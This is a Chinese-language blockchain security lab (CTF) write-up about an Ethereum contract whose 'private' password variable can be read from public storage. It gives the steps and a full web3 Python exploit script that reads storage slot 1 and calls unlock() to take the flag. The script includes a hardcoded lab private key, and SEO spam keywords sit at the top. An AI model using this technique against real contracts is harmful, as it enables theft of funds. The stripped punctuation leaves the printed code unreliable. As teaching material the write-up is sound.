阿里巴巴官网首页下载,江门网站优化排名,订货系统,wordpress修改主页区块链安全 文章目录 区块链安全不安全的随机数实战一实验目的实验环境实验工具实验原理实验内容攻击过程分析合约源代码漏洞EXP利用 不安全的随机数实战一
实验目的
学会使用python3的web3模块 学会以太坊不安全的随机数漏洞分析及利用
实验环境
Ubuntu18.04操作机
实验工…区块链安全 文章目录 区块链安全不安全的随机数实战一实验目的实验环境实验工具实验原理实验内容攻击过程分析合约源代码漏洞EXP利用 不安全的随机数实战一
实验目的
学会使用python3的web3模块 学会以太坊不安全的随机数漏洞分析及利用
实验环境
Ubuntu18.04操作机
实验工具
python3
实验原理
由于所有以太坊节点在验证交易时需要计算出相同的结果以达成共识因此 EVM 本身无法实现真随机数的功能。至于伪随机数其熵源也是只能是确定值。 合约使用外界未知的私有变量参与随机数生成。虽然变量是私有的无法通过另一合约访问但是变量储存进 storage 之后仍然是公开的。可以使用区块链浏览器如 etherscan或者geth观察 storage 变动情况或者计算变量储存的位置并使用 Web3 的 api 获得私有变量值然后计算得到随机数。
实验内容
找到不安全的随机数漏洞并形成利用 使用python3的web3模块远程利用漏洞并获取flag 实验地址为nc ip 10003
攻击过程
获取合约地址和合约源代码 nc ip 10003连接到题目输入1获取部署合约的game account及token
打开http://ip输入上述分配的game account点击Request获取eth
nc ip 10003连接到题目输入2获取部署合约的地址及new token
nc ip 10003连接到题目输入4获取合约源代码或者在题目附件找到合约源代码
分析合约源代码漏洞
题目要求把flag设置为true分析合约代码需要使合约余额为0
漏洞主要在于password是storage变量存储在合约的storage空间虽然变量类型设置为private但区块链所有东西都是公开的可以通过Web3的api获得私有变量password的值然后调用unlock函数解锁flag。
EXP利用
password变量位于slot 1的位置可以读取其值 可以看到password0x000000000000000000000000000000000000000000004618a7a7ee551f3d9f8f所以直接调用unlock(0x000000000000000000000000000000000000000000004618a7a7ee551f3d9f8f)即可
编写exp将这一过程自动化下述contract_address的地址换成自己题目合约的地址
from web3 import Web3, HTTPProvider
from solcx import compile_source
import timew3 Web3(Web3.HTTPProvider(http://192.168.2.102:8545))contract_address 0x2b5Ed99637BEDAaB6b3B2018DAF32A841D98cb31
private 92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb
public 0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480fdef generate_tx(chainID, to, data, value):txn {chainId: chainID,from: Web3.toChecksumAddress(public),to: to,gasPrice: w3.eth.gasPrice,gas: 3000000,nonce: w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),value: Web3.toWei(value, ether),data: data,}return txndef sign_and_send(txn):signed_txn w3.eth.account.signTransaction(txn, private)txn_hash w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()txn_receipt w3.eth.waitForTransactionReceipt(txn_hash)print(txn_hash, txn_hash)return txn_receiptpassword w3.eth.get_storage_at(contract_address, 1).hex()
print(password)data Web3.keccak(textunlock(uint256)).hex()[:10]
data password[2:].rjust(64,0)txn generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0)
txn_receipt sign_and_send(txn)
print(txn_receipt)运行exp nc ip 10003连接到题目输入3输入之前的new token获取flag